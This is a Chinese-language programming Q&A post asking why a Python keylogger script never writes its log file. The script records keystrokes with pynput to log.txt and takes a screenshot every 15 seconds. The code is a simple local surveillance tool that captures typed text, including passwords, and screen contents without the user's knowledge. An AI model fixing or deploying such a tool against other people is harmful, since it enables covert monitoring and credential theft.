【发布时间】:2019-04-27 12:29:44
【问题描述】:
我编写了一个脚本来使用 Pynput 捕获击键,直到我想在捕获击键(线程)时每 15 秒截屏一次。
我阅读了有关 pynput.keyboard 文档并看到键盘侦听器是 threading.Thread,但我无法做到,我想我设法创建了两个线程,但它没有进入“getKey”功能我不知道为什么。
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
listener = keyboard.Listener(onpress=getKey)
listener.start()
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
thread2.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
time.sleep(15)
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
main()
正如我所解释的,它甚至不会创建文件“log.txt”,仅在 15 秒后截取屏幕截图。 谢谢!
【问题讨论】:
标签: python multithreading keylogger